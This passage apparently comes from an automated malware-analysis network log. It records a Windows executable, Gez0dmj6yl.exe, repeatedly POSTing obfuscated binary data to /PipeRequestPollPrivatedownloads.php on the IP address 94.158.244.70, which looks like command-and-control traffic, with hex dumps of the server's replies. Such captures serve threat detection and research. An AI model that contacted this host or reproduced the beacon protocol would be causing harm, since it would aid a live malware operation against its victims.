Sep 1, 2024 23:57:36.107224941 CEST	1040	OUT	Data Raw: 55 59 58 5f 5d 58 59 51 5b 5b 54 51 5b 51 56 57 57 52 5a 44 50 5e 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYX_]XYQ[[TQ[QVWWRZDP^QS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#['#:#<%21(:\94$T,[;%3+X2>:3?9G$#P/4
Sep 1, 2024 23:57:36.345942974 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:36.472940922 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49760	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:36.593556881 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:36.951008081 CEST	1040	OUT	Data Raw: 55 5a 5d 58 5d 5b 5c 54 5b 5b 54 51 5b 56 56 5f 57 52 5a 49 50 52 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZ]X][\T[[TQ[VV_WRZIPRQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &V>[#?.V21 ::S7%,S;[4\2>,V)!1-\$?[<+9G$#P/(
Sep 1, 2024 23:57:37.165982008 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:37.292577982 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49761	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:37.423820019 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:37.779109955 CEST	1040	OUT	Data Raw: 50 5d 58 58 58 59 5c 53 5b 5b 54 51 5b 53 56 52 57 57 5a 41 50 53 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P]XXXY\S[[TQ[SVRWWZAPSQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]1"Z5*14@.% 5#->?1.,V(!?1>>'#+9G$#P/<
Sep 1, 2024 23:57:38.008538008 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:38.134751081 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49762	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:38.266304970 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:38.622827053 CEST	1040	OUT	Data Raw: 50 5c 5d 59 58 59 5c 54 5b 5b 54 51 5b 50 56 5e 57 55 5a 48 50 59 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]YXY\T[[TQ[PV^WUZHPYQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_%V"!!2+999U7%(V8- ]&='+1#&.5\$ ?9G$#P/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49763	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:38.800462008 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1728 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:39.154066086 CEST	1728	OUT	Data Raw: 50 5c 58 59 5d 58 5c 52 5b 5b 54 51 5b 5c 56 57 57 56 5a 49 50 5f 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\XY]X\R[[TQ[\VWWVZIP_QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %V"5?:1239%S"5 U,-2=T(+$.60?);9G$#P/
Sep 1, 2024 23:57:39.373320103 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:39.501374960 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 58 31 00 3c 0f 25 59 3d 0c 26 0f 3c 1f 2a 09 01 19 2d 3e 37 58 23 30 27 0e 2c 3f 31 01 21 30 2a 42 28 29 28 5e 2b 2e 2c 1f 23 27 20 51 04 12 21 18 36 03 0b 57 2e 2b 31 5c 26 1c 30 00 36 09 3d 01 2b 14 2d 56 35 14 2d 01 32 33 0f 10 3f 05 2f 0c 2e 01 2c 47 2a 11 3a 1e 37 02 21 56 0f 12 25 52 31 3a 27 5e 24 2f 23 0c 26 2c 36 01 22 2e 3f 5c 20 07 0e 0a 26 23 29 07 2b 11 3c 02 28 2d 0c 00 30 3c 32 5b 30 13 3f 55 33 3c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "X1<%Y=&<->7X#0',?1!0B()(^+.,#' Q!6W.+1\&06=+-V5-23?/.,G*:7!V%R1:'^$/#&,6".?\ &#)+<(-0<2[0?U3<#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49764	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:38.923324108 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:39.279118061 CEST	1040	OUT	Data Raw: 50 5b 58 5c 5d 5e 59 57 5b 5b 54 51 5b 52 56 51 57 50 5a 46 50 53 51 58 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P[X\]^YW[[TQ[RVQWPZFPSQX^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 139#/%28E-9- &$S;$X&#<!X2>5[$#+;9G$#P/
Sep 1, 2024 23:57:39.498142958 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:39.621412992 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49765	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:40.161519051 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1028 Expect: 100-continue
Sep 1, 2024 23:57:40.513536930 CEST	1028	OUT	Data Raw: 55 5c 58 5f 58 53 59 53 5b 5b 54 51 5b 55 56 56 57 5a 5a 48 50 5f 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\X_XSYS[[TQ[UVVWZZHP_QY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\2 6/Q&T?-:.7%;=$Y2[3+W<X&->$3Y?;9G$#P/
Sep 1, 2024 23:57:40.738960981 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:40.870289087 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49766	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:40.997746944 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:41.359214067 CEST	1040	OUT	Data Raw: 55 59 58 5c 5d 5e 5c 57 5b 5b 54 51 5b 50 56 5f 57 51 5a 41 50 5f 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYX\]^\W[[TQ[PV_WQZAP_QS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z2 *^5.U%";-9%V7%;,>8\%-?(,1=%//++9G$#P/0
Sep 1, 2024 23:57:41.603414059 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:41.907917023 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:57:41.950069904 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49767	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:42.031411886 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:42.388439894 CEST	1040	OUT	Data Raw: 55 5c 5d 5c 58 5e 59 53 5b 5b 54 51 5b 53 56 5e 57 54 5a 41 50 52 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\]\X^YS[[TQ[SV^WTZAPRQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[10.Y5-1?,9>#%,S/($>$(#2=-$,$?;9G$#P/<
Sep 1, 2024 23:57:42.608046055 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:42.733400106 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49768	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:43.112868071 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:43.466552973 CEST	1040	OUT	Data Raw: 55 5d 5d 5b 58 58 59 57 5b 5b 54 51 5b 54 56 5e 57 57 5a 48 50 5e 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]][XXYW[[TQ[TV^WWZHP^QY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[& 2_!?T'!7.>4%U/>41)"<Y&.*0?3Y);9G$#P/
Sep 1, 2024 23:57:43.686101913 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:43.813299894 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49769	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:43.936341047 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:44.294761896 CEST	1040	OUT	Data Raw: 50 5f 5d 5c 5d 58 5c 50 5b 5b 54 51 5b 56 56 54 57 54 5a 45 50 5c 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P_]\]X\P[[TQ[VVTWTZEP\QY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]1X"/9218B:!"5+8-&8S++%-3(9G$#P/(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49770	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:44.519124031 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:44.872864962 CEST	1756	OUT	Data Raw: 55 5e 58 58 58 58 5c 50 5b 5b 54 51 5b 5c 56 51 57 50 5a 47 50 5f 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^XXXX\P[[TQ[\VQWPZGP_Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#%!!/&2$-)S4%<S/[(&.8S<!($=[$/+9G$#P/
Sep 1, 2024 23:57:45.094124079 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:45.216757059 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:45 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 00 25 00 3f 57 26 11 25 09 27 31 33 0f 2b 37 02 0a 2e 00 27 10 22 33 19 0b 2c 05 3e 5d 35 0a 35 19 3f 3a 23 01 2b 3d 37 0e 21 37 20 51 04 12 22 06 21 2d 31 51 39 38 21 59 26 32 28 03 21 0e 3d 00 28 04 31 51 35 04 29 00 31 33 0f 11 2b 12 27 0a 2d 3b 23 1f 2b 3c 25 0a 23 12 21 56 0f 12 25 51 25 29 3c 03 33 2c 3b 0d 27 06 36 01 36 07 30 02 20 07 23 57 27 23 08 58 28 06 3c 00 2b 13 0f 5a 24 2c 21 04 33 2d 01 55 33 2c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !%?W&%'13+7.'"3,>]55?:#+=7!7 Q"!-1Q98!Y&2(!=(1Q5)13+'-;#+<%#!V%Q%)<3,;'660 #W'#X(<+Z$,!3-U3,#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49771	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:44.640333891 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:44.997930050 CEST	1040	OUT	Data Raw: 55 50 58 5d 58 52 59 55 5b 5b 54 51 5b 54 56 5f 57 50 5a 45 50 5a 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UPX]XRYU[[TQ[TV_WPZEPZQ\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]&"Y#,&V10-*:7,[(&-8("/$>>3?9G$#P/
Sep 1, 2024 23:57:45.214196920 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:45.340738058 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49772	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:45.469924927 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:45.825891972 CEST	1040	OUT	Data Raw: 55 59 5d 5f 58 59 59 57 5b 5b 54 51 5b 52 56 55 57 5b 5a 44 50 58 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UY]_XYYW[[TQ[RVUW[ZDPXQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_10>_"-%$C,: C8/. X1,+,[&=5\'<<9G$#P/
Sep 1, 2024 23:57:46.063313007 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:46.196845055 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49773	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:46.328794003 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
